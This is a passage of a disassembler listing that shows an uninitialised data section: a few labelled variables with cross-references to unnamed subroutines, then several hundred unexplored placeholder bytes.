dword_41E6D0	dd ?			; DATA XREF: sub_415C9C+1Dr
					; CODE:00415E1Ar
dword_41E6D4	dd ?			; DATA XREF: sub_415E74+11w
					; CODE:00415EA4w ...
unk_41E6D8	db ? ; unexplored	; DATA XREF: sub_4162DC+3Fo
					; sub_41639C+36o ...
unk_41E6D9	db ? ; unexplored	; DATA XREF: sub_4162DC+84w
					; sub_41692C+84r
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
